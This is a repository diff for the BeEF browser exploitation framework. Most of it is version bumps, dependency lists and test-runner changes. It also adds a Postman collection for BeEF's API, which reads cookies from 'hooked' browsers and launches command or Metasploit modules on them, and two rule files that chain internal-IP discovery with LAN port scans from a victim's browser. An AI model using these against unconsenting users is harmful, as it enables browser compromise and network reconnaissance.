test-unit (>= 2.4.0)
|
||||
test-unit-full (0.0.5)
|
||||
test-unit
|
||||
test-unit-context
|
||||
test-unit-notify
|
||||
test-unit-rr
|
||||
test-unit-runner-tap
|
||||
test-unit-notify (1.0.4)
|
||||
test-unit (>= 2.4.9)
|
||||
test-unit-rr (1.0.5)
|
||||
rr (>= 1.1.1)
|
||||
test-unit (>= 2.5.2)
|
||||
test-unit-runner-tap (1.1.2)
|
||||
test-unit
|
||||
thin (1.8.1)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.11)
|
||||
timeout (0.3.0)
|
||||
timers (4.3.3)
|
||||
tins (1.31.1)
|
||||
sync
|
||||
twitter (7.0.0)
|
||||
addressable (~> 2.3)
|
||||
buftok (~> 0.2.0)
|
||||
equalizer (~> 0.0.11)
|
||||
http (~> 4.0)
|
||||
http-form_data (~> 2.0)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
memoizable (~> 0.4.0)
|
||||
multipart-post (~> 2.0)
|
||||
naught (~> 1.0)
|
||||
simple_oauth (~> 0.3.0)
|
||||
tzinfo (2.0.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
uglifier (4.2.0)
|
||||
execjs (>= 0.3.0, < 3)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.2.0)
|
||||
webrick (1.7.0)
|
||||
websocket (1.2.9)
|
||||
websocket-client-simple (0.6.0)
|
||||
event_emitter
|
||||
websocket
|
||||
xmlrpc (0.3.2)
|
||||
webrick
|
||||
xpath (3.2.0)
|
||||
nokogiri (~> 1.8)
|
||||
|
||||
PLATFORMS
|
||||
x86_64-linux
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
async-dns
|
||||
browserstack-local (~> 1.4)
|
||||
capybara
|
||||
curb
|
||||
domain_name (>= 0.5.20190701)
|
||||
em-websocket
|
||||
erubis
|
||||
espeak-ruby (>= 1.0.4)
|
||||
eventmachine
|
||||
execjs
|
||||
geckodriver-helper
|
||||
irb
|
||||
json
|
||||
maxmind-db
|
||||
mime-types
|
||||
msfrpc-client
|
||||
net-smtp
|
||||
otr-activerecord (>= 1.4.2)
|
||||
parseconfig
|
||||
pry-byebug
|
||||
qr4r
|
||||
rack (>= 2.2.4)
|
||||
rack-protection (>= 2.2.0)
|
||||
rake (>= 13.0)
|
||||
rdoc
|
||||
rest-client (>= 2.1.0)
|
||||
rspec
|
||||
rubocop (~> 1.36.0)
|
||||
rubyzip (>= 1.2.2)
|
||||
rushover
|
||||
selenium-webdriver
|
||||
sinatra (>= 2.2.0)
|
||||
slack-notifier
|
||||
sqlite3
|
||||
term-ansicolor
|
||||
test-unit
|
||||
test-unit-full
|
||||
thin
|
||||
twitter (>= 7.0.0)
|
||||
uglifier (>= 4.2.0)
|
||||
unf
|
||||
websocket-client-simple (~> 0.6.0)
|
||||
xmlrpc
|
||||
|
||||
BUNDLED WITH
|
||||
2.3.14
|
||||
14
INSTALL.txt
14
INSTALL.txt
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -21,9 +21,9 @@ Or cloning the Git repository from Github:
|
||||
Prerequisites
|
||||
--------------
|
||||
|
||||
BeEF requires Ruby 2.4+.
|
||||
BeEF requires Ruby 2.7+.
|
||||
|
||||
If your operating system package manager does not support Ruby version 2.4,
|
||||
If your operating system package manager does not support Ruby version 2.7,
|
||||
you can add the brightbox ppa repository for the latest version of Ruby:
|
||||
|
||||
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng
|
||||
@@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version.
|
||||
|
||||
If you're using BeEF from the GitHub repository, updating is as simple as:
|
||||
|
||||
$ git pull
|
||||
$ ./update-beef
|
||||
|
||||
Or pull the latest repo yourself and then update the gems with:
|
||||
|
||||
$ git pull
|
||||
|
||||
$ bundle
|
||||
|
||||
|
||||
26
README.md
26
README.md
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -28,21 +28,19 @@ __Bugs:__ https://github.com/beefproject/beef/issues
|
||||
|
||||
__Security Bugs:__ security@beefproject.com
|
||||
|
||||
__IRC:__ ircs://irc.freenode.net/beefproject
|
||||
|
||||
__Twitter:__ @beefproject
|
||||
__Twitter:__ [@beefproject](https://twitter.com/beefproject)
|
||||
|
||||
__Discord:__ https://discord.gg/ugmKmHarKc
|
||||
|
||||
Requirements
|
||||
------------
|
||||
|
||||
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
|
||||
* [Ruby](http://ruby-lang.org): 2.4 or newer
|
||||
* [Ruby](https://www.ruby-lang.org): 2.7 or newer
|
||||
* [SQLite](http://sqlite.org): 3.x
|
||||
* [Node.js](https://nodejs.org): 6 or newer
|
||||
* [Node.js](https://nodejs.org): 10 or newer
|
||||
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
|
||||
* Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
|
||||
|
||||
* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
|
||||
|
||||
Quick Start
|
||||
-----------
|
||||
@@ -55,13 +53,19 @@ The `install` script installs the required operating system packages and all the
|
||||
$ ./install
|
||||
```
|
||||
|
||||
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt).
|
||||
|
||||
We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
|
||||
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
|
||||
|
||||
Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
|
||||
|
||||
|
||||
Documentation
|
||||
---
|
||||
|
||||
* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
|
||||
* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
|
||||
* [JSdocs](https://beefproject.github.io/beef/index.html)
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
|
||||
567
RESTful-API.postman_collection.json
Normal file
567
RESTful-API.postman_collection.json
Normal file
@@ -0,0 +1,567 @@
|
||||
{
|
||||
"info": {
|
||||
"_postman_id": "3b47c3ff-c03f-446c-8edb-cacaab481425",
|
||||
"name": "RESTful API",
|
||||
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
|
||||
},
|
||||
"item": [
|
||||
{
|
||||
"name": "Authentication",
|
||||
"event": [
|
||||
{
|
||||
"listen": "test",
|
||||
"script": {
|
||||
"id": "8e1a5f48-1d41-469d-a153-6cd5ee751912",
|
||||
"exec": [
|
||||
"var jsonData = JSON.parse(responseBody);",
|
||||
"pm.environment.set(\"token\", jsonData.token);"
|
||||
],
|
||||
"type": "text/javascript"
|
||||
}
|
||||
}
|
||||
],
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"header": [
|
||||
{
|
||||
"key": "Content-Type",
|
||||
"name": "Content-Type",
|
||||
"value": "application/json",
|
||||
"type": "text"
|
||||
}
|
||||
],
|
||||
"body": {
|
||||
"mode": "raw",
|
||||
"raw": "{\n\t\"username\": \"{{username}}\",\n\t\"password\": \"{{password}}\"\n\t\n}",
|
||||
"options": {
|
||||
"raw": {
|
||||
"language": "json"
|
||||
}
|
||||
}
|
||||
},
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/admin/login",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"admin",
|
||||
"login"
|
||||
]
|
||||
},
|
||||
"description": "In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned.\n\nA new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.\n\nWhen BeEF starts the token is printed to the console. It should look something like:\n\n[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47\nGrabbing the Token from BeEF's API\n\nYou can issue a POST request to /api/admin/login using the BeEF credentials you have set in the main config.yaml file. This request will return the token in the response. You can parse the JSON and use it for your next requests requiring authentication."
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Get All Hooked Browsers",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/hooks?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"hooks"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline)."
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Get Specific Hooked Browser",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/hooks/{{session}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"hooks",
|
||||
"{{session}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "\n Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Get All Hooked Browsers Logs",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/logs?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"logs"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "The logs handler gives information about all hooked browser's logs, both global and relative."
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Get Specific Hooked Browsers Logs",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/logs/{{session}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"logs",
|
||||
"{{session}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": " The logs handler gives information about a specified hooked browser's logs.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "List All Command Modules",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "List all available BeEF command modules."
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Get Information on Specific Module",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules/{{module_id}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules",
|
||||
"{{module_id}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Get detailed information about a specific BeEF command module.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Launch Command Module on a Specific Browser",
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"header": [
|
||||
{
|
||||
"key": "Content-Type",
|
||||
"name": "Content-Type",
|
||||
"value": "application/json",
|
||||
"type": "text"
|
||||
}
|
||||
],
|
||||
"body": {
|
||||
"mode": "raw",
|
||||
"raw": "",
|
||||
"options": {
|
||||
"raw": {
|
||||
"language": "json"
|
||||
}
|
||||
}
|
||||
},
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules",
|
||||
"{{session}}",
|
||||
"{{module_id}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Launch a specific BeEF command module on a given hooked browser.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Return Information About Previously Executed Module",
|
||||
"protocolProfileBehavior": {
|
||||
"disableBodyPruning": true
|
||||
},
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [
|
||||
{
|
||||
"key": "Content-Type",
|
||||
"name": "Content-Type",
|
||||
"value": "application/json",
|
||||
"type": "text"
|
||||
}
|
||||
],
|
||||
"body": {
|
||||
"mode": "raw",
|
||||
"raw": "",
|
||||
"options": {
|
||||
"raw": {
|
||||
"language": "json"
|
||||
}
|
||||
}
|
||||
},
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}/{{cmd_id}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules",
|
||||
"{{session}}",
|
||||
"{{module_id}}",
|
||||
"{{cmd_id}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Returns information about a specific previously launched BeEF command module.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Send a Metasploit Module",
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules",
|
||||
"{{session}}",
|
||||
"{{module_id}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Launch a specific Metasploit module on a given hooked browser\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": " Send a Module to Multiple Hooked Browsers",
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"header": [
|
||||
{
|
||||
"key": "Content-Type",
|
||||
"name": "Content-Type",
|
||||
"value": "application/json",
|
||||
"type": "text"
|
||||
}
|
||||
],
|
||||
"body": {
|
||||
"mode": "raw",
|
||||
"raw": "",
|
||||
"options": {
|
||||
"raw": {
|
||||
"language": "json"
|
||||
}
|
||||
}
|
||||
},
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules/multi_browser?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules",
|
||||
"multi_browser"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Fire a new command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if firing got issues."
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": " Send Multiple Modules to a Single Hooked Browser",
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"header": [
|
||||
{
|
||||
"key": "Content-Type",
|
||||
"name": "Content-Type",
|
||||
"value": "application/json",
|
||||
"type": "text"
|
||||
}
|
||||
],
|
||||
"body": {
|
||||
"mode": "raw",
|
||||
"raw": "",
|
||||
"options": {
|
||||
"raw": {
|
||||
"language": "json"
|
||||
}
|
||||
}
|
||||
},
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/modules/multi_module?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"modules",
|
||||
"multi_module"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if firing got issues."
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "List the DNS ruleset",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/dns/ruleset?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"dns",
|
||||
"ruleset"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Returns the current set of DNS rules.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "List a Specific DNS Rule",
|
||||
"request": {
|
||||
"method": "GET",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"dns",
|
||||
"rule",
|
||||
"{{dnsrule_id}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Returns an individual DNS rule given its unique id.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Add a New DNS Rule",
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"header": [
|
||||
{
|
||||
"key": "Content-Type",
|
||||
"name": "Content-Type",
|
||||
"value": "application/json",
|
||||
"type": "text"
|
||||
}
|
||||
],
|
||||
"body": {
|
||||
"mode": "raw",
|
||||
"raw": "",
|
||||
"options": {
|
||||
"raw": {
|
||||
"language": "json"
|
||||
}
|
||||
}
|
||||
},
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/dns/rule?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"dns",
|
||||
"rule"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Adds a new DNS rule or \"resource record\". Does nothing if rule is already present.\n"
|
||||
},
|
||||
"response": []
|
||||
},
|
||||
{
|
||||
"name": "Remove an Existing DNS Rule",
|
||||
"request": {
|
||||
"method": "DELETE",
|
||||
"header": [],
|
||||
"url": {
|
||||
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
|
||||
"protocol": "http",
|
||||
"host": [
|
||||
"{{hostname}}"
|
||||
],
|
||||
"port": "3000",
|
||||
"path": [
|
||||
"api",
|
||||
"dns",
|
||||
"rule",
|
||||
"{{dnsrule_id}}"
|
||||
],
|
||||
"query": [
|
||||
{
|
||||
"key": "token",
|
||||
"value": "{{token}}"
|
||||
}
|
||||
]
|
||||
},
|
||||
"description": "Removes an individual DNS rule with a specified unique ID.\n"
|
||||
},
|
||||
"response": []
|
||||
}
|
||||
],
|
||||
"protocolProfileBehavior": {}
|
||||
}
|
||||
77
Rakefile
77
Rakefile
@@ -1,64 +1,42 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'yaml'
|
||||
require 'bundler/setup'
|
||||
load 'tasks/otr-activerecord.rake'
|
||||
#require 'pry-byebug'
|
||||
|
||||
task :default => ["quick"]
|
||||
|
||||
desc "Run quick tests"
|
||||
task :quick do
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
end
|
||||
|
||||
desc "Run all tests"
|
||||
task :all do
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
end
|
||||
|
||||
desc "Run automated tests (for Jenkins)"
|
||||
task :automated do
|
||||
Rake::Task['xserver_start'].invoke
|
||||
Rake::Task['all'].invoke
|
||||
Rake::Task['xserver_stop'].invoke
|
||||
end
|
||||
|
||||
desc "Run integration unit tests"
|
||||
task :integration => ["install"] do
|
||||
Rake::Task['beef_start'].invoke
|
||||
sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
|
||||
Rake::Task['beef_stop'].invoke
|
||||
end
|
||||
|
||||
desc "Run integration unit tests"
|
||||
task :unit => ["install"] do
|
||||
sh "cd test/unit;ruby -W0 ts_unit.rb"
|
||||
end
|
||||
|
||||
desc "Run MSF unit tests"
|
||||
task :msf => ["install", "msf_install"] do
|
||||
Rake::Task['msf_update'].invoke
|
||||
Rake::Task['msf_start'].invoke
|
||||
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
|
||||
Rake::Task['msf_stop'].invoke
|
||||
end
|
||||
task :default => ["spec"]
|
||||
|
||||
desc 'Generate API documentation to doc/rdocs/index.html'
|
||||
task :rdoc do
|
||||
Rake::Task['rdoc:rerdoc'].invoke
|
||||
end
|
||||
|
||||
desc 'rest test examples'
|
||||
task :rest_test do
|
||||
Rake::Task['beef_start'].invoke
|
||||
## RSPEC
|
||||
require 'rspec/core/rake_task'
|
||||
|
||||
sh 'cd test/api/; ruby -W2 1333_auth_rate.rb'
|
||||
RSpec::Core::RakeTask.new(:spec) do |task|
|
||||
task.rspec_opts = ['--tag ~run_on_browserstack']
|
||||
end
|
||||
|
||||
Rake::Task['beef_stop'].invoke
|
||||
RSpec::Core::RakeTask.new(:browserstack) do |task|
|
||||
task.rspec_opts = ['--tag run_on_browserstack']
|
||||
end
|
||||
|
||||
RSpec::Core::RakeTask.new(:bs) do |task|
|
||||
configs = Dir["spec/support/browserstack/**/*.yml"]
|
||||
configs.each do |config|
|
||||
config = config.split('spec/support/browserstack')[1]
|
||||
ENV['CONFIG_FILE'] = config
|
||||
puts "\e[45m#{config.upcase}\e[0m"
|
||||
task.rspec_opts = ['--tag run_on_browserstack']
|
||||
Rake::Task['browserstack'].invoke
|
||||
Rake::Task['browserstack'].reenable
|
||||
end
|
||||
end
|
||||
|
||||
################################
|
||||
@@ -153,7 +131,7 @@ task :beef_start => 'beef' do
|
||||
test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
|
||||
|
||||
# write a rake config file for beef
|
||||
config = YAML.load(File.read('./config.yaml'))
|
||||
config = YAML.safe_load(File.read('./config.yaml'))
|
||||
config['beef']['credentials']['user'] = test_user
|
||||
config['beef']['credentials']['passwd'] = test_pass
|
||||
Dir.mkdir('tmp') unless Dir.exists?('tmp')
|
||||
@@ -276,5 +254,10 @@ task :cde_beef_start => 'beef' do
|
||||
puts '.'
|
||||
end
|
||||
|
||||
|
||||
################################
|
||||
# ActiveRecord
|
||||
namespace :db do
|
||||
task :environment do
|
||||
require_relative "beef"
|
||||
end
|
||||
end
|
||||
|
||||
4
VERSION
4
VERSION
@@ -1,7 +1,7 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.7.1-alpha
|
||||
0.5.4.0
|
||||
|
||||
1
_config.yml
Normal file
1
_config.yml
Normal file
@@ -0,0 +1 @@
|
||||
theme: jekyll-theme-minimal
|
||||
29
arerules/lan_port_scan.json
Normal file
29
arerules/lan_port_scan.json
Normal file
@@ -0,0 +1,29 @@
|
||||
{"name": "LAN Port Scan",
|
||||
"author": "aburro & aussieklutz",
|
||||
"browser": "ALL",
|
||||
"browser_version": "ALL",
|
||||
"os": "ALL",
|
||||
"os_version": "ALL",
|
||||
"modules": [
|
||||
{"name": "get_internal_ip_webrtc",
|
||||
"condition": null,
|
||||
"code": null,
|
||||
"options": {}
|
||||
},
|
||||
{"name": "port_scanner",
|
||||
"condition": "status==1",
|
||||
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
|
||||
"options": {
|
||||
"ipHost":"<<mod_input>>",
|
||||
"ports":"80,8080",
|
||||
"closetimeout":"1100",
|
||||
"opentimeout":"2500",
|
||||
"delay":"600",
|
||||
"debug":"false"
|
||||
}
|
||||
}
|
||||
],
|
||||
"execution_order": [0, 1],
|
||||
"execution_delay": [0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
25
arerules/lan_sw_port_scan.json
Normal file
25
arerules/lan_sw_port_scan.json
Normal file
@@ -0,0 +1,25 @@
|
||||
{"name": "LAN SW Port Scan",
|
||||
"author": "aburro & aussieklutz",
|
||||
"browser": "ALL",
|
||||
"browser_version": "ALL",
|
||||
"os": "ALL",
|
||||
"os_version": "ALL",
|
||||
"modules": [
|
||||
{"name": "get_internal_ip_webrtc",
|
||||
"condition": null,
|
||||
"code": null,
|
||||
"options": {}
|
||||
},
|
||||
{"name": "sw_port_scanner",
|
||||
"condition": "status==1",
|
||||
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
|
||||
"options": {
|
||||
"ipHost":"192.168.1.10",
|
||||
"ports":"80,8080"
|
||||
}
|
||||
}
|
||||
],
|
||||
"execution_order": [0, 1],
|
||||
"execution_delay": [0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
273
beef
273
beef
@@ -1,22 +1,23 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
#
|
||||
# @note stop deprecation warning from being displayed
|
||||
# @note stop Fixnum deprecation warning from being displayed
|
||||
#
|
||||
$VERBOSE = nil
|
||||
|
||||
#
|
||||
# @note Version check to ensure BeEF is running Ruby 2.4+
|
||||
# @note Version check to ensure BeEF is running Ruby 2.7+
|
||||
#
|
||||
if RUBY_VERSION < '2.4'
|
||||
min_ruby_version = '2.7'
|
||||
if RUBY_VERSION < min_ruby_version
|
||||
puts
|
||||
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.4 or later."
|
||||
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
|
||||
puts
|
||||
exit 1
|
||||
end
|
||||
@@ -26,7 +27,7 @@ end
|
||||
#
|
||||
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
|
||||
puts
|
||||
puts "Ruby platform #{RUBY_PLATFORM} is no longer supported."
|
||||
puts "Ruby platform #{RUBY_PLATFORM} is not supported."
|
||||
puts
|
||||
exit 1
|
||||
end
|
||||
@@ -39,22 +40,42 @@ $:.unshift($root_dir)
|
||||
